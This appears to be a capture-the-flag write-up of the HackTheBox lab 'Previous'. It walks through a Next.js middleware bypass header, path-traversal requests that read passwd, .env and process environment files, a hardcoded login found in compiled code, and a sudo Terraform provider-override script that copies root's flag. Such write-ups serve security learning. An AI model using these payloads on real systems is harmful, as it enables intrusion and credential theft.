1. Discovery and Enumeration
previous.htbon/etc/hosts
rustscan -a 10.129.16.194 --ulimit 5000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Nmap? More like slowmap.π’
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.16.194:22
Open 10.129.16.194:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-16 12:23 WET
Initiating Ping Scan at 12:23
Scanning 10.129.16.194 [4 ports]
Completed Ping Scan at 12:23, 0.09s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:23
Completed Parallel DNS resolution of 1 host. at 12:23, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 12:23
Scanning 10.129.16.194 [2 ports]
Discovered open port 22/tcp on 10.129.16.194
Discovered open port 80/tcp on 10.129.16.194
Completed SYN Stealth Scan at 12:23, 0.08s elapsed (2 total ports)
Nmap scan report for 10.129.16.194
Host is up, received reset ttl 63 (0.039s latency).
Scanned at 2025-12-16 12:23:13 WET for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (128B)
sudo nmap -p80,22 -sS -sC -sV 10.129.16.194 -T5 --vv
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-16 12:24 WET
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
Initiating Ping Scan at 12:24
Scanning 10.129.16.194 [4 ports]
Completed Ping Scan at 12:24, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:24
Scanning previous.htb (10.129.16.194) [2 ports]
Discovered open port 80/tcp on 10.129.16.194
Discovered open port 22/tcp on 10.129.16.194
Completed SYN Stealth Scan at 12:24, 0.08s elapsed (2 total ports)
Initiating Service scan at 12:24
Scanning 2 services on previous.htb (10.129.16.194)
Completed Service scan at 12:24, 6.09s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.16.194.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 1.47s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.17s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
Nmap scan report for previous.htb (10.129.16.194)
Host is up, received echo-reply ttl 63 (0.039s latency).
Scanned at 2025-12-16 12:24:37 WET for 8s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: PreviousJS
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.24 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
2. Port 80
Manual Recon
On a manual recon, all the links go to a login of some sort (API involved)
On the main page we find a : jeremy@previous.htb
Vhosts
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://previous.htb/ -H 'Host: FUZZ.previous.htb' -fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://previous.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.previous.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
:: Progress: [4989/4989] :: Job [1/1] :: 1025 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
No vhost found
Endpoints
When we try to login on that api we get 3 endpoints while sending a login attempt providers, csrf and the credentials POST.

It seems that it is requesting everything from http://localhost:3000/docs, does it mean we have SSRF?
ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt:FUZZ -recursion -u http://previous.htb/api/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://previous.htb/api/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
new [Status: 307, Size: 41, Words: 1, Lines: 1, Duration: 64ms]
cgi-bin [Status: 307, Size: 45, Words: 1, Lines: 1, Duration: 62ms]
logo [Status: 307, Size: 42, Words: 1, Lines: 1, Duration: 66ms]
12 [Status: 307, Size: 40, Words: 1, Lines: 1, Duration: 71ms]
contact [Status: 307, Size: 45, Words: 1, Lines: 1, Duration: 72ms]
default [Status: 307, Size: 45, Words: 1, Lines: 1, Duration: 100ms]
search [Status: 307, Size: 44, Words: 1, Lines: 1, Duration: 96ms]
spacer [Status: 307, Size: 44, Words: 1, Lines: 1, Duration: 97ms]
download [Status: 307, Size: 46, Words: 1, Lines: 1, Duration: 97ms]
images [Status: 307, Size: 44, Words: 1, Lines: 1, Duration: 97ms]
faq [Status: 307, Size: 41, Words: 1, Lines: 1, Duration: 97ms]
2006 [Status: 307, Size: 42, Words: 1, Lines: 1, Duration: 100ms]
privacy [Status: 307, Size: 45, Words: 1, Lines: 1, Duration: 97ms]
warez [Status: 307, Size: 43, Words: 1, Lines: 1, Duration: 100ms]
about [Status: 307, Size: 43, Words: 1, Lines: 1, Duration: 100ms]
10 [Status: 307, Size: 40, Words: 1, Lines: 1, Duration: 103ms]
img [Status: 307, Size: 41, Words: 1, Lines: 1, Duration: 100ms]
serial [Status: 307, Size: 44, Words: 1, Lines: 1, Duration: 100ms]
news [Status: 307, Size: 42, Words: 1, Lines: 1, Duration: 100ms]
full [Status: 307, Size: 42, Words: 1, Lines: 1, Duration: 104ms]
blog [Status: 307, Size: 42, Words: 1, Lines: 1, Duration: 106ms]
rss [Status: 307, Size: 41, Words: 1, Lines: 1, Duration: 103ms]
index [Status: 307, Size: 43, Words: 1, Lines: 1, Duration: 103ms]
home [Status: 307, Size: 42, Words: 1, Lines: 1, Duration: 103ms]
11 [Status: 307, Size: 40, Words: 1, Lines: 1, Duration: 103ms]
crack [Status: 307, Size: 43, Words: 1, Lines: 1, Duration: 103ms]
archives [Status: 307, Size: 46, Words: 1, Lines: 1, Duration: 49ms]
2005 [Status: 307, Size: 42, Words: 1, Lines: 1, Duration: 51ms]
Endpoint scanning proved to be unreliableβ¦
WhatWeb
whatweb http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fconfig
http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fconfig [200 OK]
Country[RESERVED][ZZ], HTML5,
HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)],
IP[10.129.242.162],
PasswordField,
Script[application/json],
X-Powered-By[Next.js],
nginx[1.18.0]
Searchsploit
Lets try to see vulns:
searchsploit -x 52124
Exploit: Next.js Middleware 15.2.2 - Authorization Bypass
URL: https://www.exploit-db.com/exploits/52124
Path: /usr/share/exploitdb/exploits/multiple/webapps/52124.txt
Codes: CVE-2025-29927
Verified: False
File Type: ASCII text
βββ(kaliγΏkali)-[~]
ββ$ searchsploit next.js
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Next.js Middleware 15.2.2 - Authorization Bypass | multiple/webapps/52124.txt
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
βββ(kaliγΏkali)-[~]
ββ$ searchsploit -x 52124
# Exploit Title: Next.js Middleware Bypass Vulnerability (CVE-2025-29927)
# Date: 2025-03-26
# Exploit Author: kOaDT
# Vendor Homepage: https://nextjs.org/
# Software Link: https://github.com/vercel/next.js
# Version: 13.0.0 - 13.5.8 / 14.0.0 - 14.2.24 / 15.0.0 - 15.2.2 / 11.1.4 - 12.3.4
# Tested on: Ubuntu 22.04.5 LTS
# CVE: CVE-2025-29927
# PoC: https://raw.githubusercontent.com/kOaDT/poc-cve-2025-29927/refs/heads/main/exploit.js
# POC GitHub Repository: https://github.com/kOaDT/poc-cve-2025-29927/tree/main
Not very successful with this PoC, but basically the cookie: x-middleware-subrequest: middleware is enough to do something
FFUF? Nothingβ¦
Had to look online and apparently it only works with: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware�??
The exploit now gave different things:
βββ(kaliγΏkali)-[~/Downloads/poc-cve-2025-29927]
ββ$ npm run exploit 'http://previous.htb/api/signin'
> poc-cve-2025-29927@0.1.0 exploit
> node exploit.js http://previous.htb/api/signin
=== Next.js CVE-2025-29927 Middleware Bypass Tester ===
Target: http://previous.htb/api/signin
Testing vulnerability...
Making request without bypass header...
Making request with bypass header...
Normal request status: 307
Bypass request status: 404
β NOT VULNERABLE - Protected Route
The route is protected and the bypass attempt was unsuccessful
Normal request redirected to: /api/auth/signin?callbackUrl=%2Fapi%2Fsignin
I tried to tweak ffuf again and got:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt:FUZZ -u http://previous.htb/api/FUZZ -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' -mc all
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://previous.htb/api/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
:: Header : X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
download [Status: 400, Size: 28, Words: 2, Lines: 1, Duration: 83ms]
# on atleast 2 different hosts [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 88ms]
[Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 88ms]
# Copyright 2007 James Fisher [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 89ms]
# Priority ordered case insensative list, where entries were found [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 88ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 87ms]
# directory-list-lowercase-2.3-medium.txt [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 89ms]
# [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 89ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 89ms]
# This work is licensed under the Creative Commons [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 89ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 89ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 90ms]
# [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 90ms]
# [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 100ms]
# [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 99ms]
contact [Status: 404, Size: 2181, Words: 66, Lines: 1, Duration: 122ms]
privacy [Status: 404, Size: 2181, Words: 66, Lines: 1, Duration: 122ms]
full [Status: 404, Size: 2181, Words: 66, Lines: 1, Duration: 122ms]
crack [Status: 404, Size: 2181, Words: 66, Lines: 1, Duration: 123ms]
index [Status: 404, Size: 2181, Words: 66, Lines: 1, Duration: 123ms]
about [Status: 404, Size: 2181, Words: 66, Lines: 1, Duration: 123ms]
serial [Status: 404, Size: 2181, Words: 66, Lines: 1, Duration: 122ms]
news [Status: 404, Size: 2181, Words: 66, Lines: 1, Duration: 124ms]
12 [Status: 404, Size: 2181, Words: 66, Lines: 1, Duration: 124ms]
There is a download link.
Adding this header to Caido: 
It got the response: {"error":"Invalid filename"} Lets Ffuf again for the parameter then
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -u 'http://previous.htb/api/download?PARAM=passwd' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' -mc all -fs 28
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://previous.htb/api/download?PARAM=passwd
:: Wordlist : PARAM: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Header : X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response size: 28
________________________________________________
example [Status: 404, Size: 26, Words: 3, Lines: 1, Duration: 181ms]
:: Progress: [6453/6453] :: Job [1/1] :: 287 req/sec :: Duration: [0:00:16] :: Errors: 0 ::
Ok. Now we are in the presence of LFI: http://previous.htb/api/download?example=../../../../../passwd
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
β¦ I feel dumb. I just decided to go back to the page and click the docs button with the header there and it worked :D
Got this page: 
To be honest, the LFI proved to be more promisingβ¦
3. LFI
I am trying to enumerate endpoints: https://nextjs.org/docs/app/getting-started/installation
GET /api/download?example=../../package.json ## This is common to import node_modules
#GOT
{
"private": true,
"scripts": {
"dev": "next dev",
"build": "next build"
},
"dependencies": {
"@mdx-js/loader": "^3.1.0",
"@mdx-js/react": "^3.1.0",
"@next/mdx": "^15.3.0",
"@tailwindcss/postcss": "^4.1.3",
"@tailwindcss/typography": "^0.5.16",
"@types/mdx": "^2.0.13",
"next": "^15.2.2",
"next-auth": "^4.24.11",
"postcss": "^8.5.3",
"react": "^18.2.0",
"react-dom": "^18.2.0",
"tailwindcss": "^4.1.3"
},
"devDependencies": {
"@types/node": "22.14.0",
"@types/react": "19.1.0",
"typescript": "5.8.3"
}
}
GET /api/download?example=../../.env HTTP/1.1
#GOT
NEXTAUTH_SECRET=82a464f1c3509a81d5c973c31a23c61a
GET /api/download?example=../../../../../proc/self/environ
#GOT
NODE_VERSION=18.20.8
HOSTNAME=0.0.0.0
YARN_VERSION=1.22.22
SHLVL=1
PORT=3000
HOME=/home/nextjs
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NEXT_TELEMETRY_DISABLED=1
PWD=/app
NODE_ENV=production
According to LLMs, the .next folder is generated when it is running:
.next/
βββ server/ # Server-side bundles (priority for LFI)
β βββ app/ # App Router pages/API routes
β β βββ api/ # Compiled API handlers
β β β βββ auth/ # NextAuth routes w/ secrets
β β βββ page.rsc # Root page RSC payload
β β βββ layout.rsc # Root layout RSC
β βββ middleware.js # Middleware (auth bypasses)
β βββ pages-manifest.json # Route mapping
βββ static/ # Client bundles/CSS/JS
βββ cache/ # Build cache (Turbopack/Webpack)
βββ data.json # Build metadata
βββ required-server-files.json
More recon:
GET /api/download?example=../../../app/.next/server/pages-manifest.json HTTP/1.1
{
"/_app": "pages/_app.js",
"/_error": "pages/_error.js",
"/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js", #this auth is interesting
"/api/download": "pages/api/download.js",
"/docs/[section]": "pages/docs/[section].html",
"/docs/components/layout": "pages/docs/components/layout.html",
"/docs/components/sidebar": "pages/docs/components/sidebar.html",
"/docs/content/examples": "pages/docs/content/examples.html",
"/docs/content/getting-started": "pages/docs/content/getting-started.html",
"/docs": "pages/docs.html",
"/": "pages/index.html",
"/signin": "pages/signin.html",
"/_document": "pages/_document.js",
"/404": "pages/404.html"
}
GET /api/download?example=../../../app/.next/server/pages/api/auth/[...nextauth].js
"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.
username==="jeremy"&&
e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")
?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();
jeremy:MyNameIsJeremyAndILovePancakes Lets try ssh with this: 
4. ssh
flag: d8f93d0a92fa0ce7493dd4d53596e490 jeremy:MyNameIsJeremyAndILovePancakes
Now lets recon again using sudo -l and linpeas
Matching Defaults entries for jeremy on previous:
!env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir\=/opt/examples apply
ls -la /opt/examples/
total 28
drwxr-xr-x 3 root root 4096 Dec 22 21:41 .
drwxr-xr-x 5 root root 4096 Aug 21 20:09 ..
-rw-r--r-- 1 root root 18 Apr 12 2025 .gitignore
-rw-r--r-- 1 root root 576 Aug 21 18:15 main.tf
drwxr-xr-x 3 root root 4096 Aug 21 20:09 .terraform
-rw-r--r-- 1 root root 247 Aug 21 18:16 .terraform.lock.hcl
-rw-r--r-- 1 root root 1097 Dec 22 21:41 terraform.tfstate
---
sudo /usr/bin/terraform -chdir\=/opt/examples apply
β·
β Warning: Provider development overrides are in effect
β
β The following provider development overrides are set in the CLI configuration:
β - previous.htb/terraform/examples in /usr/local/go/bin
β
β The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published releases.
β΅
examples_example.example: Refreshing state... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]
No changes. Your infrastructure matches the configuration.
Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed.
Apply complete! Resources: 0 added, 0 changed, 0 destroyed.
Outputs:
destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts"
Terraform Privesc
terraform {
required_providers {
examples = {
source = "previous.htb/terraform/examples"
}
}
}
variable "source_path" {
type = string
default = "/root/examples/hello-world.ts"
validation {
condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
error_message = "The source_path must contain '/root/examples/'."
}
}
provider "examples" {}
resource "examples_example" "example" {
source_path = var.source_path
}
output "destination_path" {
value = examples_example.example.destination_path
}
What the hell is the provider development? Perplexity was suggesting using a var to change source_path. TF_VAr⦠Found this: https://developer.hashicorp.com/terraform/cli/config/environment-variables
TF_CLI_CONFIG_FILE
The location of the Terraform CLI configuration file.
export TF_CLI_CONFIG_FILE="$HOME/.terraformrc-custom"
Note that TERRAFORM_CONFIG is a deprecated alias for the TF_CLI_CONFIG_FILE variable. We recommend using TF_CLI_CONFIG_FILE instead of the deprecated TERRAFORM_CONFIG variable.
So, to recap. we have control over this var AND we might be able to Warning: Provider development overrides are in effect make use of this.
According to AI:
you're using a custom, local version of a provider (like VMware NSX-T or a custom one) instead of the official release, bypassing version checks for smoother development, but potentially risking state incompatibility with published versions. This is set via a dev_overrides block in your .terraformrc file.
We can override the provider aparently:
## Lets try then
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/tmp/providers"
}
direct {}
}
## needs to be dev.tfrc due to dev overrides
jeremy@previous:~$ TF_CLI_CONFIG_FILE=/home/jeremy/dev.tfrc sudo /usr/bin/terraform -chdir=/opt/examples apply
β·
β Warning: Provider development overrides are in effect
β
β The following provider development overrides are set in the CLI configuration:
β - previous.htb/terraform/examples in /home/jeremy
β
β The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published releases.
β΅
β·
β Error: Failed to load plugin schemas
β
β Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider previous.htb/terraform/examples: failed to instantiate provider "previous.htb/terraform/examples" to obtain schema:
β Unrecognized remote plugin message:
β Failed to read any lines from plugin's stdout
β This usually means
β the plugin was not compiled for this architecture,
β the plugin is missing dynamic-link libraries necessary to run,
β the plugin is not executable by this process due to file permissions, or
β the plugin failed to negotiate the initial go-plugin protocol handshake
β
β Additional notes about plugin:
β Path: /home/jeremy/terraform-provider-examples_v0.1_linux_amd64
β Mode: -rwxrwxr-x
β Owner: 1000 [jeremy] (current: 0 [root])
β Group: 1000 [jeremy] (current: 0 [root])
β ..
β΅
jeremy@previous:~$ cat dev.tfrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/home/jeremy"
}
direct {}
}
jeremy@previous:~$ cat terraform-provider-examples_v0.1_linux_amd64
#!/bin/bash
cp /root/root.txt /home/jeremy/pwned.txt
chmod 777 /home/jeremy/pwned.txt
jeremy@previous:~$ cat pwned.txt
bffd5251bb0ea4fad3e4f038c03998c0